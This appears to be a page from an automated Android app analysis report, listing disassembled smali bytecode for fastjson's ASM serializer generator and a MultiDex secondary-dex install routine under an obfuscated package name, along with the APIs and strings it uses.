                                                979const/4 v2, 0x1
                                                980new-array v3, v2, [Ljava/lang/String;
                                                981const/4 v4, 0x0
                                                982aput-object v23, v3, v4
                                                983move-object v15, v1
                                                984move-object/from16 v16, v28
                                                985move-object/from16 v21, v3
                                                987invoke-direct/range {v15 .. v21}, Lcom/alibaba/fastjson/asm/MethodWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
                                                988const/16 v3, 0x19
                                                990invoke-interface {v1, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                992sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                994sget-object v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter_desc:Ljava/lang/String;
                                                996invoke-interface {v1, v10, v2, v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                998invoke-virtual {v14, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                999move-result v2
                                                1000const/16 v4, 0x3a
                                                1002invoke-interface {v1, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1003const/4 v2, 0x2
                                                1005invoke-interface {v1, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1007invoke-static {v8}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                1008move-result-object v5
                                                1009const/16 v6, 0xc0
                                                1011invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                1013const-string v5, "entity"
                                                1015invoke-virtual {v14, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                1016move-result v5
                                                1018invoke-interface {v1, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1020invoke-direct {v0, v8, v1, v12, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->generateWriteAsArray(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;[Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                1021const/16 v5, 0xb1
                                                1023invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1024const/4 v15, 0x7
                                                1026invoke-static {v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$100(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)I
                                                1027move-result v14
                                                1028add-int/2addr v14, v2
                                                1030invoke-interface {v1, v15, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMaxs(II)V
                                                1032invoke-interface {v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitEnd()V
                                                1033add-int/lit8 v9, v9, 0x1
                                                1034const/4 v6, 0x3
                                                1035const/16 v14, 0xc0
                                                1036goto/16 :goto_534
                                                1037cond_5ce:
                                                1038invoke-virtual/range {v28 .. v28}, Lcom/alibaba/fastjson/asm/ClassWriter;->toByteArray()[B
                                                1039move-result-object v1
                                                1041iget-object v2, v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->classLoader:Lcom/alibaba/fastjson/util/ASMClassLoader;
                                                1042array-length v3, v1
                                                1043move-object/from16 v4, v29
                                                1044const/4 v5, 0x0
                                                1046invoke-virtual {v2, v4, v1, v5, v3}, Lcom/alibaba/fastjson/util/ASMClassLoader;->defineClassPublic(Ljava/lang/String;[BII)Ljava/lang/Class;
                                                1047move-result-object v1
                                                1048const/4 v2, 0x1
                                                1049new-array v3, v2, [Ljava/lang/Class;
                                                1050const-class v4, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;
                                                1051aput-object v4, v3, v5
                                                1053invoke-virtual {v1, v3}, Ljava/lang/Class;->getConstructor([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
                                                1054move-result-object v1
                                                1055new-array v2, v2, [Ljava/lang/Object;
                                                1056aput-object p1, v2, v5
                                                1058invoke-virtual {v1, v2}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                                                1059move-result-object v1
                                                1060check-cast v1, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;
                                                1061return-object v1
                                                1062cond_5f2: new-instance v1, Lcom/alibaba/fastjson/JSONException;
                                                1063new-instance v2, Ljava/lang/StringBuilder;
                                                1065invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                1067const-string v3, "unsupportd class "
                                                1069invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1071invoke-virtual {v8}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                1072move-result-object v3
                                                1074invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1076invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1077move-result-object v2
                                                1079invoke-direct {v1, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                1080goto/16 :goto_60e
                                                1081goto_60d: throw v1
                                                1082goto_60e: goto/16 :goto_60d
                                                APIs
                                                • android.util.Log.i
                                                • android.util.Log.i
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.RuntimeException.<init>
                                                • android.support.coreui.app.a.a.getApplicationInfo
                                                • android.support.coreui.app.a.a.installedApk:Ljava/util/Set
                                                • android.content.pm.ApplicationInfo.sourceDir:Ljava/lang/String
                                                • android.support.coreui.app.a.a.installedApk:Ljava/util/Set
                                                • java.util.Set.contains
                                                • android.support.coreui.app.a.a.installedApk:Ljava/util/Set
                                                • java.util.Set.add
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.System.getProperty
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.w
                                                • android.content.Context.getClassLoader
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.e
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.w
                                                • android.support.coreui.app.a.a.clearOldDexDir
                                                • android.content.pm.ApplicationInfo.dataDir:Ljava/lang/String
                                                • android.support.coreui.app.a.a.SECONDARY_FOLDER_NAME:Ljava/lang/String
                                                • java.io.File.<init>
                                                • android.support.coreui.app.a.b.load
                                                • android.support.coreui.app.a.a.checkValidZipFiles
                                                • android.support.coreui.app.a.a.installSecondaryDexes
                                                • android.util.Log.i
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.w
                                                • android.util.Log.w
                                                • android.support.coreui.app.a.b.load
                                                • android.support.coreui.app.a.a.checkValidZipFiles
                                                • android.support.coreui.app.a.a.installSecondaryDexes
                                                • java.lang.RuntimeException.<init>
                                                • android.util.Log.e
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.Exception.getMessage
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.RuntimeException.<init>
                                                Strings
                                                • MultiDex
                                                • install
                                                • VM has multidex support, MultiDex support library is disabled.
                                                • Multi dex installation failed. SDK
                                                • is unsupported. Min SDK version is
                                                • .
                                                • MultiDex is not guaranteed to work in SDK version
                                                • : SDK version higher than
                                                • should be backed by
                                                • runtime with built-in multidex capabilty but it\'s not the
                                                • case here: java.vm.version=\"
                                                • java.vm.version
                                                • \"
                                                • Context class loader is null. Must be running in test mode.
                                                • Skip patching.
                                                • Failure while trying to obtain Context class loader.
                                                • Must be running in test mode. Skip patching.
                                                • install done
                                                • Something went wrong when trying to clear old MultiDex extraction,
                                                • continuing without cleaning.
                                                • Files were not valid zip files. Forcing a reload.
                                                • Zip files were not valid.
                                                • Multidex installation failure
                                                • Multi dex installation failed (
                                                • ).
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Landroid/content/Context;",
                                                4")V"
                                                5}
                                                6.end annotation
                                                7.prologue
                                                8move-object/from16 v0, p0
                                                10const-string v10, "MultiDex"
                                                12const-string v11, "install"
                                                14invoke-static {v10, v11}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                15move-result v10
                                                16sget-boolean v10, Landroid/support/coreui/app/a/a;->IS_VM_MULTIDEX_CAPABLE:Z
                                                17if-eqz v10, :cond_17
                                                19const-string v10, "MultiDex"
                                                21const-string v11, "VM has multidex support, MultiDex support library is disabled."
                                                23invoke-static {v10, v11}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                24move-result v10
                                                25goto_16: return-void
                                                26cond_17: sget v10, Landroid/os/Build$VERSION;->SDK_INT:I
                                                27const/4 v11, 0x4
                                                28if-ge v10, v11, :cond_8d
                                                29new-instance v10, Ljava/lang/RuntimeException;
                                                30move-object/from16 v20, v10
                                                31move-object/from16 v10, v20
                                                32move-object/from16 v11, v20
                                                33new-instance v12, Ljava/lang/StringBuffer;
                                                34move-object/from16 v20, v12
                                                35move-object/from16 v12, v20
                                                36move-object/from16 v13, v20
                                                38invoke-direct {v13}, Ljava/lang/StringBuffer;-><init>()V
                                                39new-instance v13, Ljava/lang/StringBuffer;
                                                40move-object/from16 v20, v13
                                                41move-object/from16 v13, v20
                                                42move-object/from16 v14, v20
                                                44invoke-direct {v14}, Ljava/lang/StringBuffer;-><init>()V
                                                45new-instance v14, Ljava/lang/StringBuffer;
                                                46move-object/from16 v20, v14
                                                47move-object/from16 v14, v20
                                                48move-object/from16 v15, v20
                                                50invoke-direct {v15}, Ljava/lang/StringBuffer;-><init>()V
                                                51new-instance v15, Ljava/lang/StringBuffer;
                                                52move-object/from16 v20, v15
                                                53move-object/from16 v15, v20
                                                54move-object/from16 v16, v20
                                                56invoke-direct/range {v16 .. v16}, Ljava/lang/StringBuffer;-><init>()V
                                                58const-string v16, "Multi dex installation failed. SDK "
                                                60invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                61move-result-object v15
                                                62sget v16, Landroid/os/Build$VERSION;->SDK_INT:I
                                                64invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                65move-result-object v15
                                                67invoke-virtual {v15}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                68move-result-object v15
                                                70invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                71move-result-object v14
                                                73const-string v15, " is unsupported. Min SDK version is "
                                                75invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                76move-result-object v14
                                                78invoke-virtual {v14}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                79move-result-object v14
                                                81invoke-virtual {v13, v14}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                82move-result-object v13
                                                83const/4 v14, 0x4
                                                85invoke-virtual {v13, v14}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                86move-result-object v13
                                                88invoke-virtual {v13}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                89move-result-object v13
                                                91invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                92move-result-object v12
                                                94const-string v13, "."
                                                96invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                97move-result-object v12
                                                99invoke-virtual {v12}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                100move-result-object v12
                                                102invoke-direct {v11, v12}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                                                103throw v10
                                                104cond_8d: move-object v10, v0
                                                105try_start_8e:
                                                106invoke-static {v10}, Landroid/support/coreui/app/a/a;->getApplicationInfo(Landroid/content/Context;)Landroid/content/pm/ApplicationInfo;
                                                107move-result-object v10
                                                108move-object v2, v10
                                                109move-object v10, v2
                                                110if-nez v10, :cond_97
                                                111goto/16 :goto_16
                                                112cond_97:
                                                113sget-object v10, Landroid/support/coreui/app/a/a;->installedApk:Ljava/util/Set;
                                                114move-object v3, v10
                                                115move-object v10, v3
                                                116monitor-enter v10
                                                117try_end_9c: move-object v10, v2
                                                118try_start_9d:
                                                119iget-object v10, v10, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                                                120move-object v5, v10
                                                122sget-object v10, Landroid/support/coreui/app/a/a;->installedApk:Ljava/util/Set;
                                                123move-object v11, v5
                                                125invoke-interface {v10, v11}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                                                126move-result v10
                                                127if-eqz v10, :cond_ad
                                                128move-object v10, v3
                                                129monitor-exit v10
                                                130goto/16 :goto_16
                                                131cond_ad:
                                                132sget-object v10, Landroid/support/coreui/app/a/a;->installedApk:Ljava/util/Set;
                                                133move-object v11, v5
                                                135invoke-interface {v10, v11}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                                                136move-result v10
                                                137sget v10, Landroid/os/Build$VERSION;->SDK_INT:I
                                                138const/16 v11, 0x14
                                                139if-le v10, v11, :cond_18e
                                                141const-string v10, "MultiDex"
                                                142new-instance v11, Ljava/lang/StringBuffer;
                                                143move-object/from16 v20, v11
                                                144move-object/from16 v11, v20
                                                145move-object/from16 v12, v20
                                                147invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                148new-instance v12, Ljava/lang/StringBuffer;
                                                149move-object/from16 v20, v12
                                                150move-object/from16 v12, v20
                                                151move-object/from16 v13, v20
                                                153invoke-direct {v13}, Ljava/lang/StringBuffer;-><init>()V
                                                154new-instance v13, Ljava/lang/StringBuffer;
                                                155move-object/from16 v20, v13
                                                156move-object/from16 v13, v20
                                                157move-object/from16 v14, v20
                                                159invoke-direct {v14}, Ljava/lang/StringBuffer;-><init>()V
                                                160new-instance v14, Ljava/lang/StringBuffer;
                                                161move-object/from16 v20, v14
                                                162move-object/from16 v14, v20
                                                163move-object/from16 v15, v20
                                                165invoke-direct {v15}, Ljava/lang/StringBuffer;-><init>()V
                                                166new-instance v15, Ljava/lang/StringBuffer;
                                                167move-object/from16 v20, v15
                                                168move-object/from16 v15, v20
                                                169move-object/from16 v16, v20
                                                171invoke-direct/range {v16 .. v16}, Ljava/lang/StringBuffer;-><init>()V
                                                172new-instance v16, Ljava/lang/StringBuffer;
                                                173move-object/from16 v20, v16
                                                174move-object/from16 v16, v20
                                                175move-object/from16 v17, v20
                                                177invoke-direct/range {v17 .. v17}, Ljava/lang/StringBuffer;-><init>()V
                                                178new-instance v17, Ljava/lang/StringBuffer;
                                                179move-object/from16 v20, v17
                                                180move-object/from16 v17, v20
                                                181move-object/from16 v18, v20
                                                183invoke-direct/range {v18 .. v18}, Ljava/lang/StringBuffer;-><init>()V
                                                184new-instance v18, Ljava/lang/StringBuffer;
                                                185move-object/from16 v20, v18
                                                186move-object/from16 v18, v20
                                                187move-object/from16 v19, v20
                                                189invoke-direct/range {v19 .. v19}, Ljava/lang/StringBuffer;-><init>()V
                                                191const-string v19, "MultiDex is not guaranteed to work in SDK version "
                                                193invoke-virtual/range {v18 .. v19}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                194move-result-object v18
                                                195sget v19, Landroid/os/Build$VERSION;->SDK_INT:I
                                                197invoke-virtual/range {v18 .. v19}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                198move-result-object v18
                                                200invoke-virtual/range {v18 .. v18}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                201move-result-object v18
                                                203invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                204move-result-object v17
                                                206const-string v18, ": SDK version higher than "
                                                208invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                209move-result-object v17
                                                211invoke-virtual/range {v17 .. v17}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                212move-result-object v17
                                                214invoke-virtual/range {v16 .. v17}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                215move-result-object v16
                                                216const/16 v17, 0x14
                                                218invoke-virtual/range {v16 .. v17}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                219move-result-object v16
                                                221invoke-virtual/range {v16 .. v16}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                222move-result-object v16
                                                224invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                225move-result-object v15
                                                227const-string v16, " should be backed by "
                                                229invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                230move-result-object v15
                                                232invoke-virtual {v15}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                233move-result-object v15
                                                235invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                236move-result-object v14
                                                238const-string v15, "runtime with built-in multidex capabilty but it\'s not the "
                                                240invoke-virtual {v14, v15}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                241move-result-object v14
                                                243invoke-virtual {v14}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                244move-result-object v14
                                                246invoke-virtual {v13, v14}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                247move-result-object v13
                                                249const-string v14, "case here: java.vm.version=\""
                                                251invoke-virtual {v13, v14}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                252move-result-object v13
                                                254invoke-virtual {v13}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                255move-result-object v13
                                                257invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                258move-result-object v12
                                                260const-string v13, "java.vm.version"
                                                262invoke-static {v13}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
                                                263move-result-object v13
                                                265invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                266move-result-object v12
                                                268invoke-virtual {v12}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                269move-result-object v12
                                                271invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                272move-result-object v11
                                                274const-string v12, "\""
                                                276invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                277move-result-object v11
                                                279invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                280move-result-object v11
                                                282invoke-static {v10, v11}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                                283try_end_18d: move-result v10
                                                284cond_18e: move-object v10, v0
                                                285try_start_18f:
                                                286invoke-virtual {v10}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                                                287try_end_192: move-result-object v10
                                                288move-object v6, v10
                                                289move-object v10, v6
                                                290if-nez v10, :cond_1e4
                                                291try_start_197:
                                                292const-string v10, "MultiDex"
                                                293new-instance v11, Ljava/lang/StringBuffer;
                                                294move-object/from16 v20, v11
                                                295move-object/from16 v11, v20
                                                296move-object/from16 v12, v20
                                                298invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                300const-string v12, "Context class loader is null. Must be running in test mode. "
                                                302invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                303move-result-object v11
                                                305const-string v12, "Skip patching."
                                                307invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                308move-result-object v11
                                                310invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                311move-result-object v11
                                                313invoke-static {v10, v11}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                314move-result v10
                                                315move-object v10, v3
                                                316monitor-exit v10
                                                317goto/16 :goto_16
                                                318catch_1bc: move-exception v10
                                                319move-object v7, v10
                                                321const-string v10, "MultiDex"
                                                322new-instance v11, Ljava/lang/StringBuffer;
                                                323move-object/from16 v20, v11
                                                324move-object/from16 v11, v20
                                                325move-object/from16 v12, v20
                                                327invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                329const-string v12, "Failure while trying to obtain Context class loader. "
                                                331invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                332move-result-object v11
                                                334const-string v12, "Must be running in test mode. Skip patching."
                                                336invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                337move-result-object v11
                                                339invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                340move-result-object v11
                                                341move-object v12, v7
                                                343invoke-static {v10, v11, v12}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                                344move-result v10
                                                345move-object v10, v3
                                                346monitor-exit v10
                                                347try_end_1e2: goto/16 :goto_16
                                                348cond_1e4: move-object v10, v0
                                                349try_start_1e5:
                                                350invoke-static {v10}, Landroid/support/coreui/app/a/a;->clearOldDexDir(Landroid/content/Context;)V
                                                351goto_1e8: new-instance v10, Ljava/io/File;
                                                352move-object/from16 v20, v10
                                                353move-object/from16 v10, v20
                                                354move-object/from16 v11, v20
                                                355move-object v12, v2
                                                357iget-object v12, v12, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String;
                                                359sget-object v13, Landroid/support/coreui/app/a/a;->SECONDARY_FOLDER_NAME:Ljava/lang/String;
                                                361invoke-direct {v11, v12, v13}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                362move-object v7, v10
                                                363move-object v10, v0
                                                364move-object v11, v2
                                                365move-object v12, v7
                                                366const/4 v13, 0x0
                                                368invoke-static {v10, v11, v12, v13}, Landroid/support/coreui/app/a/b;->load(Landroid/content/Context;Landroid/content/pm/ApplicationInfo;Ljava/io/File;Z)Ljava/util/List;
                                                369move-result-object v10
                                                370move-object v8, v10
                                                371move-object v10, v8
                                                373invoke-static {v10}, Landroid/support/coreui/app/a/a;->checkValidZipFiles(Ljava/util/List;)Z
                                                374move-result v10
                                                375if-eqz v10, :cond_240
                                                376move-object v10, v6
                                                377move-object v11, v7
                                                378move-object v12, v8
                                                380invoke-static {v10, v11, v12}, Landroid/support/coreui/app/a/a;->installSecondaryDexes(Ljava/lang/ClassLoader;Ljava/io/File;Ljava/util/List;)V
                                                381try_end_20f: move-object v10, v3
                                                382try_start_210: monitor-exit v10
                                                383try_end_211:
                                                384const-string v10, "MultiDex"
                                                386const-string v11, "install done"
                                                388invoke-static {v10, v11}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                389move-result v10
                                                390goto/16 :goto_16
                                                391catch_21b: move-exception v10
                                                392move-object v7, v10
                                                393try_start_21d:
                                                394const-string v10, "MultiDex"
                                                395new-instance v11, Ljava/lang/StringBuffer;
                                                396move-object/from16 v20, v11
                                                397move-object/from16 v11, v20
                                                398move-object/from16 v12, v20
                                                400invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                402const-string v12, "Something went wrong when trying to clear old MultiDex extraction, "
                                                404invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                405move-result-object v11
                                                407const-string v12, "continuing without cleaning."
                                                409invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                410move-result-object v11
                                                412invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                413move-result-object v11
                                                414move-object v12, v7
                                                416invoke-static {v10, v11, v12}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                                417move-result v10
                                                418goto/16 :goto_1e8
                                                419cond_240:
                                                420const-string v10, "MultiDex"
                                                422const-string v11, "Files were not valid zip files. Forcing a reload."
                                                424invoke-static {v10, v11}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                                425move-result v10
                                                426move-object v10, v0
                                                427move-object v11, v2
                                                428move-object v12, v7
                                                429const/4 v13, 0x1
                                                431invoke-static {v10, v11, v12, v13}, Landroid/support/coreui/app/a/b;->load(Landroid/content/Context;Landroid/content/pm/ApplicationInfo;Ljava/io/File;Z)Ljava/util/List;
                                                432move-result-object v10
                                                433move-object v8, v10
                                                434move-object v10, v8
                                                436invoke-static {v10}, Landroid/support/coreui/app/a/a;->checkValidZipFiles(Ljava/util/List;)Z
                                                437move-result v10
                                                438if-eqz v10, :cond_25f
                                                439move-object v10, v6
                                                440move-object v11, v7
                                                441move-object v12, v8
                                                443invoke-static {v10, v11, v12}, Landroid/support/coreui/app/a/a;->installSecondaryDexes(Ljava/lang/ClassLoader;Ljava/io/File;Ljava/util/List;)V
                                                444goto/16 :goto_20f
                                                445cond_25f: new-instance v10, Ljava/lang/RuntimeException;
                                                446move-object/from16 v20, v10
                                                447move-object/from16 v10, v20
                                                448move-object/from16 v11, v20
                                                450const-string v12, "Zip files were not valid."
                                                452invoke-direct {v11, v12}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                                                453throw v10
                                                454catchall_26d: move-exception v10
                                                455move-object v4, v10
                                                456move-object v10, v3
                                                457try_start_270: monitor-exit v10
                                                458move-object v10, v4
                                                459throw v10
                                                460catch_273: move-exception v10
                                                461move-object v2, v10
                                                463const-string v10, "MultiDex"
                                                465const-string v11, "Multidex installation failure"
                                                466move-object v12, v2
                                                468invoke-static {v10, v11, v12}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                                469move-result v10
                                                470new-instance v10, Ljava/lang/RuntimeException;
                                                471move-object/from16 v20, v10
                                                472move-object/from16 v10, v20
                                                473move-object/from16 v11, v20
                                                474new-instance v12, Ljava/lang/StringBuffer;
                                                475move-object/from16 v20, v12
                                                476move-object/from16 v12, v20
                                                477move-object/from16 v13, v20
                                                479invoke-direct {v13}, Ljava/lang/StringBuffer;-><init>()V
                                                480new-instance v13, Ljava/lang/StringBuffer;
                                                481move-object/from16 v20, v13
                                                482move-object/from16 v13, v20
                                                483move-object/from16 v14, v20
                                                485invoke-direct {v14}, Ljava/lang/StringBuffer;-><init>()V
                                                487const-string v14, "Multi dex installation failed ("
